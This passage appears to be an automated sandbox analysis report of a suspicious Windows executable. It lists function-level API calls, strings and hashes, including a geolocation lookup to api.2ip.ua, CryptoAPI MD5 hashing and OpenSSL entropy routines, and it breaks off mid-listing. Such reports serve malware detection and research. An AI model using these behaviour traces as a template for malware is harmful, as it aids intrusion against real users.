Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
"country_code":", xrefs: 0040CFE1
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Function 00423576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

LanmanServer, xrefs: 00481A74
CryptReleaseContext, xrefs: 00481AF6
Thread32Next, xrefs: 00481E13
$, xrefs: 00481F7E
CreateToolhelp32Snapshot, xrefs: 00481D67
KERNEL32.DLL, xrefs: 0048199C
LanmanWorkstation, xrefs: 00481A26
USER32.DLL, xrefs: 00481C31
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
NetStatisticsGet, xrefs: 004819E2
NetApiBufferFree, xrefs: 004819F0
CryptGenRandom, xrefs: 00481AE3
Process32Next, xrefs: 00481DED
GetForegroundWindow, xrefs: 00481C4A
CryptAcquireContextW, xrefs: 00481AD5
GetCursorInfo, xrefs: 00481C58
NETAPI32.DLL, xrefs: 004819A9
Heap32Next, xrefs: 00481DA1
Heap32ListFirst, xrefs: 00481DB4
CloseToolhelp32Snapshot, xrefs: 00481D7B
ADVAPI32.DLL, xrefs: 00481989
Heap32ListNext, xrefs: 00481DC7
Process32First, xrefs: 00481DDA
Heap32First, xrefs: 00481D8E
Module32Next, xrefs: 00481E39
GetQueueStatus, xrefs: 00481C6B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 3f68754a9cad00adfa5318296b42566dd369576488fe948bfb568d47563decbb
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 0040E870 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD
phu, xrefs: 0040E943

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X$phu
API String ID: 1084002244-3562321646
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 1b801d1ffbd88b82039091f0604768a30c592b3e6827ab76a1e426d578563625
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006E0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

